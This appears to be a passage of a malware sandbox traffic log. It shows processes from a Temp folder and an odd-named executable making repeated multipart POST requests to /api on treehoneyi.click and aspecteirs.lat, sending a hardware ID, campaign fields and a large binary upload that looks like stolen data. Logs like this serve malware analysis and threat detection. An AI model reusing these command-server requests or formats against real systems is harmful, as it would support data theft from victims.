2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 42 44 75 37 31 4c 49 75 66 2b 4a 65 55 51 52 45 76 71 75 59 4c 37 32 62 55 6a 6d 65 73 73 48 58 75 43 6c 36 4a 79 5a 45 75 75 4a 58 66 44 76 52 4d 6a 34 76 4d 4d 37 44 46 49 41 36 4b 6b 47 30 49 4d 34 47 72 51 37 69 30 4a 4f 6b 49 4b 39 69 64 64 45 76 74 45 4d 6f 75 46 63 68 2f 2f 6e 36 47 6c 43 45 53 6d 6c 72 69 43 75 2f 48 59 6f 74 69 4f 56 55 6c 65 2f 38 59 2b 45 33 6b 75 76 31 77 72 74 37 31 4c 49 75 66 2b 4a 65 30 51 52 45 76 71 75 59 4c 37 32 62 55 6a 6d 65 73 73 48 58 75 43 6c 36 4a 79 5a 45 75 75 4a 58 66 44 76 52 4d 6a 34 76 4d 4d 37 44 46 49 41 36 4b 6b 47 30 49 4d 34 47 72 51 37 69 30 4a 4f 34 5a 4b 65 71 2b 64 30 72 4d 51 54 37 4b 67 4b 6d 66 2f 78 6b 53 5a 4b 43 53 2b 72 70 6e 6a 52 36 6e 59 46 39 58 58 62 59 45 4b 67 73 71 2b 63 79 41 65 65 Data Ascii: BDu71LIuf+JeUQREvquYL72bUjmessHXuCl6JyZEuuJXfDvRMj4vMM7DFIA6KkG0IM4GrQ7i0JOkIK9iddEvtEMouFch//n6GlCESmlriCu/HYotiOVUle/8Y+E3kuv1wrt71LIuf+Je0QREvquYL72bUjmessHXuCl6JyZEuuJXfDvRMj4vMM7DFIA6KkG0IM4GrQ7i0JO4ZKeq+d0rMQT7KgKmf/xkSZKCS+rpnjR6nYF9XXbYEKgsq+cyAee
2024-12-18 20:30:34 UTC	1369	IN	Data Raw: 45 69 70 61 32 34 77 53 70 49 59 42 76 76 2b 43 33 74 74 44 45 6a 69 77 43 4a 55 6c 47 74 2f 70 6d 63 32 6b 71 33 77 46 32 73 37 77 54 49 35 2f 2f 38 4f 77 31 42 46 61 75 67 65 4f 4c 6b 62 6c 32 34 50 35 78 46 51 75 4b 37 73 6f 32 5a 56 66 66 65 58 66 54 76 52 4e 76 78 2f 38 4e 70 55 68 46 52 35 65 4d 35 37 61 6f 31 44 36 63 72 6d 45 4e 43 36 59 4b 57 70 38 74 4e 71 63 52 66 30 36 49 59 6e 71 71 38 77 53 34 30 62 7a 76 35 36 53 6a 74 35 68 6f 61 75 43 47 6c 61 33 61 2f 75 37 6a 49 2f 30 6d 76 78 46 32 73 37 77 54 49 35 2f 2f 38 4f 77 31 42 46 61 6e 43 50 2b 4f 6f 64 67 4c 37 4e 4e 74 44 41 66 62 76 35 73 72 4c 43 75 47 48 57 75 47 39 44 6f 36 38 71 64 4a 75 4e 47 38 37 2b 65 6b 6f 37 65 59 48 45 4c 45 37 6a 6c 5a 52 71 59 4b 57 70 38 74 4e 71 63 52 66 78 Data Ascii: Eipa24wSpIYBvv+C3ttDEjiwCJUlGt/pmc2kq3wF2s7wTI5//8Ow1BFaugeOLkbl24P5xFQuK7so2ZVffeXfTvRNvx/8NpUhFR5eM57ao1D6crmENC6YKWp8tNqcRf06IYnqq8wS40bzv56Sjt5hoauCGla3a/u7jI/0mvxF2s7wTI5//8Ow1BFanCP+OodgL7NNtDAfbv5srLCuGHWuG9Do68qdJuNG87+eko7eYHELE7jlZRqYKWp8tNqcRfx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49816	172.67.180.113	443	6512	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:36 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YGR3ABXLEAKHK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20539 Host: treehoneyi.click
2024-12-18 20:30:36 UTC	15331	OUT	Data Raw: 2d 2d 59 47 52 33 41 42 58 4c 45 41 4b 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 47 52 33 41 42 58 4c 45 41 4b 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 59 47 52 33 41 42 58 4c 45 41 4b 48 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 59 47 52 33 41 42 58 4c 45 Data Ascii: --YGR3ABXLEAKHKContent-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--YGR3ABXLEAKHKContent-Disposition: form-data; name="pid"3--YGR3ABXLEAKHKContent-Disposition: form-data; name="lid"rAGxSF--Support--YGR3ABXLE
2024-12-18 20:30:36 UTC	5208	OUT	Data Raw: b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Wun 4F([:7s~X`nO`i
2024-12-18 20:30:36 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h6rcdvceu184c5vi82cdi3knp2; expires=Sun, 13-Apr-2025 14:17:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dTlCXgV3Akm7bFSiDHWnDoewY2uY6P2YjIaznHFymCNE%2FRx2nfBVZ4wLkt84cSPersR2s4MsUKnkqw7LzgA%2BFv7stYfm8NlCzlZR%2Fdo5k4qo9Z95cDPF7DqX1g4TyudDaibx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9644ba841ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2372&min_rtt=2363&rtt_var=905&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21496&delivery_rate=1196721&cwnd=189&unsent_bytes=0&cid=0c6b56f56caa0cf5&ts=879&x=0"
2024-12-18 20:30:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:30:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49817	172.67.180.113	443	6512	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:38 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FGHBRJX9CL1GDK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1276 Host: treehoneyi.click
2024-12-18 20:30:38 UTC	1276	OUT	Data Raw: 2d 2d 46 47 48 42 52 4a 58 39 43 4c 31 47 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 47 48 42 52 4a 58 39 43 4c 31 47 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 47 48 42 52 4a 58 39 43 4c 31 47 44 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 46 47 48 42 52 4a Data Ascii: --FGHBRJX9CL1GDKContent-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--FGHBRJX9CL1GDKContent-Disposition: form-data; name="pid"1--FGHBRJX9CL1GDKContent-Disposition: form-data; name="lid"rAGxSF--Support--FGHBRJ
2024-12-18 20:30:39 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nr6emupai8c4cg2gsm34o0vebv; expires=Sun, 13-Apr-2025 14:17:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XwI%2BcEi1alWFHIJaU3eTVlYEsr15WtG%2BK71SCZ%2FvqPl3w481zkZNNjs6zY2OkiAsQnQMjYtgmPQXGHnuQSVI4cLSgi2ekuTZ6t2QyBXjcmVGc3D%2BMNwG3TyPp79QlBcw2aIW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e975fbd74387-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1652&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2189&delivery_rate=1725768&cwnd=47&unsent_bytes=0&cid=58b237370448c020&ts=740&x=0"
2024-12-18 20:30:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:30:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49820	172.67.180.113	443	6512	C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:41 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZHZH966ZL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570238 Host: treehoneyi.click
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: 2d 2d 5a 48 5a 48 39 36 36 5a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 30 31 38 46 39 42 34 41 39 32 33 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 5a 48 5a 48 39 36 36 5a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 48 5a 48 39 36 36 5a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 72 41 47 78 53 46 2d 2d 53 75 70 70 6f 72 74 0d 0a 2d 2d 5a 48 5a 48 39 36 36 5a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --ZHZH966ZLContent-Disposition: form-data; name="hwid"A6018F9B4A923655AC8923850305D13E--ZHZH966ZLContent-Disposition: form-data; name="pid"1--ZHZH966ZLContent-Disposition: form-data; name="lid"rAGxSF--Support--ZHZH966ZLContent-Di
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: 62 75 ed ad 19 8b 74 7f de df 2f 04 c1 c7 df 95 e5 af d4 60 9c 87 07 f5 bc 25 7f c6 f8 7f 21 35 e9 cb 9e 9d 08 93 d2 fe 97 df fd 47 aa fd bc 7e b9 3f f7 e7 07 7a 55 78 20 bb 22 4d 77 16 5d 61 25 17 59 8d 3b ff 03 28 4d 8f ff df ed 26 ff f7 01 1e a2 03 70 66 8a 02 ad 04 42 bf 21 2c d8 f8 a0 7d 34 a3 26 13 14 c6 3b 89 5e 68 e8 b7 0b c9 7e cc fd 19 23 84 f4 a7 b2 5e a7 ed 08 00 a9 46 5a 30 3c 3e d8 0b 76 c6 40 8f bd 21 7d 57 f6 9e 9e e6 60 8c 3b ad 51 1e 77 7c d5 59 0e 75 b9 c2 b9 63 b7 6d de 02 6a 89 94 80 70 fb a8 44 61 a6 af 79 ec a1 76 4e 24 1d 9d c4 f5 ba 97 22 7a 84 73 bd 1d 05 81 df af 4c 27 f7 d3 1a a7 4f d1 b9 3d 3f a8 a1 ba 7d de c4 85 4d 9a e8 b9 31 b1 03 ea 82 b2 e1 df be 01 24 82 4f 0d 94 66 25 9d 73 4e c7 e6 6a 21 8e 1c fa 74 01 58 f6 2b 42 63 Data Ascii: but/`%!5G~?zUx "Mw]a%Y;(M&pfB!,}4&;^h~#^FZ0<>v@!}W`;Qw\|YucmjpDayvN$"zsL'O=?}M1$Of%sNj!tX+Bc
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: e1 d1 4a bc 46 8e e8 5e 86 a7 d8 5c fb 48 e2 cf 94 2a 1b 51 99 79 1d ea 9c d5 08 36 47 71 d9 df 68 3b 37 84 3a 6f e8 87 a0 ef 12 7c 52 1d 2b d5 b0 f0 cb 88 f1 cc be 24 3c fb 79 85 bf 85 36 48 2b 0d b3 44 d0 f2 0a 11 80 ad 87 dd 19 14 66 3d 00 74 2b 83 ff 4d b2 73 c0 d2 0f 90 59 08 72 bf a4 1c 3c db 44 11 e4 ba 3d c9 ff 6f df 76 f9 54 f1 64 73 05 48 00 48 22 ef f9 dc e7 89 03 91 5d 1a 32 28 48 80 f5 41 5c 74 52 a4 03 38 ef 84 b3 14 47 a4 1d a0 43 a1 17 c0 c0 e3 6a a6 47 b1 45 c1 ab e6 fc 4b a7 ee cd c3 2e 18 ac c9 b6 dd 95 dd 57 10 37 d4 65 c0 03 cc d2 bd d1 c2 34 87 6c 54 b7 19 1c 13 34 1b 91 9e 32 a4 ed a8 62 2c e3 a3 de 7c 57 4d e8 38 5e e2 23 6e 08 1e 7c 98 89 7a ad 54 ac 47 29 d8 db 62 b0 b3 e7 94 52 d9 52 e3 26 16 0e 7a fa d3 3b 31 af 76 59 2b 44 94 Data Ascii: JF^\H*Qy6Gqh;7:o\|R+$<y6H+Df=t+MsYr<D=ovTdsHH"]2(HA\tR8GCjGEK.W7e4lT42b,\|WM8^#n\|zTG)bRR&z;1vY+D
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: 28 74 67 68 98 ad fe 92 b7 e3 25 5c 99 48 9d 48 b3 ac 51 4f 09 77 e9 74 1d bb b4 95 ec 2b d2 8e d1 f8 d3 87 25 76 73 3c 15 c4 8e a4 a6 b1 3c 6a 77 a7 7b 38 3b 45 ec 10 d9 b4 50 41 be aa 15 b9 7a 86 ae 8a da b1 27 35 31 59 9d 35 31 33 5f cd ca 64 90 27 1a d2 ff e2 c2 87 50 fd 89 df b6 ec 07 19 e9 32 e1 97 cb 04 ea 2b b7 98 eb 23 63 31 33 fc d4 76 c2 d7 86 b3 5f 37 3b be 68 ec bb 25 49 4b 5d 7a 95 96 1e 62 86 40 40 50 4c ac 4c 81 0d e2 c2 b5 05 14 39 0c 82 98 32 e0 2a 56 57 12 22 6a 69 14 a8 3f 34 b9 7e 7e d4 74 cf 51 d0 cb 8f 51 4d e5 98 e7 83 0c 0a f5 f2 0f d3 8a f0 af fa 39 a5 7f fa 1a ea dc fe 20 0f ba ea b0 1f d6 b3 9e ed 79 2f 06 2c af 00 4b 4c d9 47 40 95 5c 77 77 3d 90 a1 06 0a e3 ff 4c 2f 4b 23 66 5a 82 36 a3 64 16 74 85 5c 95 be 0e 11 7b 6e fd f0 Data Ascii: (tgh%\HHQOwt+%vs<<jw{8;EPAz'51Y513_d'P2+#c13v_7;h%IK]zb@@PLL92*VW"ji?4~~tQQM9 y/,KLG@\ww=L/K#fZ6dt\{n
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: e1 94 99 83 e4 9c 2a a9 5e de 35 76 90 02 1d 45 d1 fd f0 2a 21 1e 2f c3 57 92 87 af 33 a4 09 74 dd cc f7 67 46 5f 8d 36 63 c2 0a 6f ab 5c 7c 54 12 f1 19 ad 3b 39 8b cc 29 82 0b ff e0 43 a0 cb dd 3c 54 6c 6b 46 95 80 20 34 86 29 47 47 a0 c8 aa 88 9f 37 0b cc 03 8e 97 9c d6 68 0e f1 5b 8f b6 27 b7 da 74 7f 81 08 e8 fb e2 a0 e3 57 f6 1a 50 8e a6 dc 6b 75 75 a2 ad 74 ea 6a b8 6d f5 4d ab 3b 2b 98 a4 d7 e1 5b 78 a3 74 65 60 ab e2 5f 0a 61 40 20 17 b4 6b 83 81 e2 07 5d 33 dc 4d 0a ce 0a 40 7e 74 64 d0 46 e1 7b 0b 47 e9 d0 9b 7a ab 81 70 cf bf 93 19 f6 85 96 fc 1c 3b 70 fd 34 01 8b 76 5d e1 86 14 1c 48 80 14 8b 10 e1 47 ec fc dc 8f c1 60 6e c2 b5 05 75 68 29 2c 34 32 32 88 1c ee b7 a9 d9 cf 47 b5 68 6e 0a 2a 30 27 2d 9c 21 98 9e 38 15 91 4e d1 ae e0 a8 7a ab c0 Data Ascii: ^5vE!/W3tgF_6co\\|T;9)C<TlkF 4)GG7h['tWPkuutjmM;+[xte`_a@ k]3M@~tdF{Gzp;p4v]HG`nuh),422Ghn*0'-!8Nz
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: f3 2c 35 ce 47 9a f1 ad 6d d4 d6 d4 2c b5 05 b5 4c b3 73 82 97 d2 a3 d2 05 26 1f 31 7e 56 23 fa ff 2c a5 2f a6 d2 ca 35 de 51 25 b4 94 6d eb 91 6d 56 67 a4 a2 e8 1a 25 f1 2b 8e fe b8 65 c5 3e d1 ca 4a 31 5b 69 20 21 5b 44 24 59 fa ed c4 d7 8f 85 2d bc 92 9f 8a 61 c0 ae d5 bc f5 ed 5e fa 2d ee 0b c7 c6 da 30 c6 f4 d6 b7 4a 78 1a d7 a1 0f 3b 71 3c 94 59 55 12 0f e5 ef ab 92 f8 1a 22 be b3 3f ff 29 54 67 ec 8c ab 7b df 4b f0 25 1d f5 dd ea 76 73 4e 93 7c b8 26 89 62 fc dd b2 f0 2d b8 62 cb 6e 83 99 63 19 22 3e 12 77 09 5c 19 4e 44 7d 24 5f 38 3d 91 a9 8e 87 66 63 46 6d 73 6a a2 b8 ee 11 29 1c 8d f3 2c 73 08 21 64 e4 40 9e c2 66 dd 45 65 40 58 1b ec fa 79 cb 90 9d e1 be 6e 39 e4 aa 00 a2 8e f4 ae e9 41 43 92 e9 24 36 c5 05 46 3e d7 c1 c1 ee 99 b5 80 4d 17 6c Data Ascii: ,5Gm,Ls&1~V#,/5Q%mmVg%+e>J1[i ![D$Y-a^-0Jx;q<YU"?)Tg{K%vsN\|&b-bnc">w\ND}$_8=fcFmsj),s!d@fEe@Xyn9AC$6F>Ml
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: 33 44 3b ab 43 6e e0 80 59 b2 a1 a0 d8 0b 31 f0 23 2a 4b 25 6e 80 a1 05 22 a6 f6 96 9f c5 81 1d 22 28 d9 c0 ab 2d d9 c7 4d 65 ed e9 33 26 a4 bb 01 b6 95 ab d9 cb 79 fa 59 dc 15 d7 ed 97 97 21 b0 3e fb 37 ef ec 5f 44 a0 63 80 64 08 9d ee e4 9e 87 a3 09 9c c5 c7 b3 ed c4 93 23 a7 e7 28 9a b8 db 4b 6b e1 9d 92 17 ce 38 df cf b1 c0 8b 54 2e 2d df 0c e0 e7 dc 95 bb 2d 73 4c c8 ea cb 45 ad 65 67 ee d5 47 8d 9e 3a a3 9b c9 a1 83 3d 23 e8 42 eb 0b be b5 36 b9 e3 5b f2 0f 7a 16 3e 42 48 f1 1a 40 b1 c6 d7 7e 84 ec c7 c6 5a ea 34 30 0c ed 5a 01 db d0 59 e4 7f 97 20 c6 bb ec 5c 76 a4 8a 34 3c 96 d1 84 fb 1f e8 62 02 26 7e a4 e6 8c 13 7c 07 64 05 83 4b bb 91 80 20 da 1c b4 35 c6 a8 03 7e 7d 60 be b3 30 9f 12 d9 24 7d e0 37 d6 8d ae 11 03 66 2d 1e fb 60 9b 47 b0 17 63 Data Ascii: 3D;CnY1#*K%n""(-Me3&yY!>7_Dcd#(Kk8T.--sLEegG:=#B6[z>BH@~Z40ZY \v4<b&~\|dK 5~}`0$}7f-`Gc
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: d9 0e c4 e8 2b 69 41 26 e2 7d a5 d3 e7 1b 5c 95 b3 e7 27 d2 4d 1c 14 2f 2b 3f d7 9f 57 eb 70 4b b0 ad 57 92 8f d0 bd 2c 9c c4 d3 84 fc 42 1b 09 db 5b 4e bb 4c 5a 26 8e 84 f7 e3 83 dc a1 ec ca 55 b5 f2 9f d8 e2 c7 91 63 f7 cd f4 23 78 a0 37 43 dd 23 23 aa f4 af 44 6e 66 50 e9 33 bf 3f 25 de df 22 33 54 83 de 48 92 e9 bd e2 82 dd bf 33 6d 25 de 9f 2e af a4 a7 08 92 7d 4e ff fe 73 37 04 04 3b fb f9 30 e0 91 72 e6 63 57 64 76 22 f5 f6 bc 26 bb 46 9c eb e9 5f f6 a4 ce bb e2 06 4f cb 61 f5 e8 2b 7d cb 63 a6 90 dd 71 77 fb eb dc 7f bf 57 3c 8e d2 e8 96 ac 13 84 f7 72 bc 19 2c 0c ee d6 aa 78 38 fe fc 56 76 98 71 a4 84 3e 6a b5 b6 16 69 33 e7 d6 7c 27 6f 2d 07 91 89 00 23 0b ed 18 4d 7f cf c8 c3 1a 91 7d 19 43 b6 b3 ec d9 1f 22 ea b4 87 63 e0 73 7b a5 45 ba 4f 1c Data Ascii: +iA&}\'M/+?WpKW,B[NLZ&Uc#x7C##DnfP3?%"3TH3m%.}Ns7;0rcWdv"&F_Oa+}cqwW<r,x8Vvq>ji3\|'o-#M}C"cs{EO
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: ca b7 d5 10 3d c6 0e e3 a2 55 bb 00 77 72 3e ea 24 1e 2e ba dd 31 57 cf b6 70 cf 4e c4 1d d8 29 8f 30 5f 61 5e e3 41 54 15 b2 f2 e5 cf 71 d2 48 29 84 c4 71 e1 2f e3 74 fd 13 c7 45 34 1c 61 d9 b9 ab 63 b6 11 84 d1 5a 01 ee 2d 60 f3 d5 58 02 20 38 6f 46 ad d1 16 04 d8 c5 5b 24 fb 78 e4 ef b5 93 b6 d9 e8 98 b5 70 3b b3 fa bb 18 4a da 06 26 66 7c 48 17 a3 d5 8a 48 48 22 b6 32 91 2c e4 ec cf bf 71 f2 c3 7c 1f bf 93 8f c7 46 99 51 98 cf c4 19 e7 b0 79 84 e2 b2 ad 44 e5 a5 af 93 9a ed 8d ab 8a 3a af 76 50 51 11 b7 a5 08 7d e1 ef 0e e3 3d 01 ec 2f 72 e8 68 2b 73 4a bf ed 67 2b e9 c9 2e 99 fb e6 2a 93 e7 7a 72 c9 1d 95 9c 8f c7 74 69 24 df 2d d1 cd 37 07 3a 14 f5 94 f0 89 f5 69 0a 76 18 c2 fd 6f b5 a8 b0 ea 8b 78 8f 01 ea 75 1f b5 65 f8 6b fb 51 84 e7 6c 6a 22 ad Data Ascii: =Uwr>$.1WpN)0_a^ATqH)q/tE4acZ-`X 8oF[$xp;J&f\|HHH"2,q\|FQyD:vPQ}=/rh+sJg+.*zrti$-7:ivoxuekQlj"
2024-12-18 20:30:41 UTC	15331	OUT	Data Raw: 6d 02 90 b0 00 f3 ce 3d ee c5 01 8b d9 54 46 91 e8 70 d6 05 b3 17 f5 80 5a 92 44 ad 16 03 37 76 da e5 d4 7b 79 35 f0 8c c9 0e 5d 0c 78 de 29 26 9f 53 3d cd 71 7b d2 5c 7c 84 73 e3 7b ac 14 bc 97 75 20 35 46 02 e0 3b 70 0c 1c 01 df 8d 82 65 b7 be 68 7f 69 e1 65 3a d3 88 e8 72 67 8b 4b 16 28 58 37 b6 53 b8 25 4f f3 18 b0 b4 c8 6e a8 57 59 0b 49 6e 41 12 cb 51 aa 3d 6e 48 2d 65 a5 3e aa 3a 4b 55 5e e8 fe a2 0b 82 54 c9 01 5b 12 e0 c3 ba 99 a0 a1 cc d4 ab 62 be 3c cc 62 e6 f1 e8 8d 53 6f b0 57 86 1a d0 ba 5b f4 90 fe 1e 93 fc 73 25 9a 49 70 84 14 e8 6d c0 03 62 3e 40 89 57 1f a0 2b d1 94 92 4d 14 6f 6a 33 f7 46 19 09 82 55 7b b7 7a 3b 24 4b 70 8b 42 6c 30 36 0f df b1 b5 6b d6 8c 95 2a ea 5a 60 86 82 cb 93 77 50 d3 fb 9a 97 44 a4 c2 26 d5 88 33 22 57 50 32 1a Data Ascii: m=TFpZD7v{y5]x)&S=q{\\|s{u 5F;pehie:rgK(X7S%OnWYInAQ=nH-e>:KU^T[b<bSoW[s%Ipmb>@W+Moj3FU{z;$KpBl06k*Z`wPD&3"WP2
2024-12-18 20:30:44 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3s6395d98vg9p336f458vuubdf; expires=Sun, 13-Apr-2025 14:17:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y2MPddeW23raThXGD3FqP6iJIjfnrKf5iNY2j5BeXaUcyyVIassKStyLECgrU9R0b4A7xBx%2FeaX4GahkinqyFaGWpOKYnVqpzcr2giMNjDXDPUT8Pr0047lNiieHN%2B8ayfc9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41e9865def4344-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1739&min_rtt=1664&rtt_var=775&sent=340&recv=585&lost=0&retrans=0&sent_bytes=2840&recv_bytes=572776&delivery_rate=1286910&cwnd=47&unsent_bytes=0&cid=7be5fd9d41bed70c&ts=3357&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49821	104.21.66.85	443	5864	C:\gomtbo\01b80870ed45442fb720b666633425f9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:30:42 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WX4P1G937T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15032 Host: aspecteirs.lat
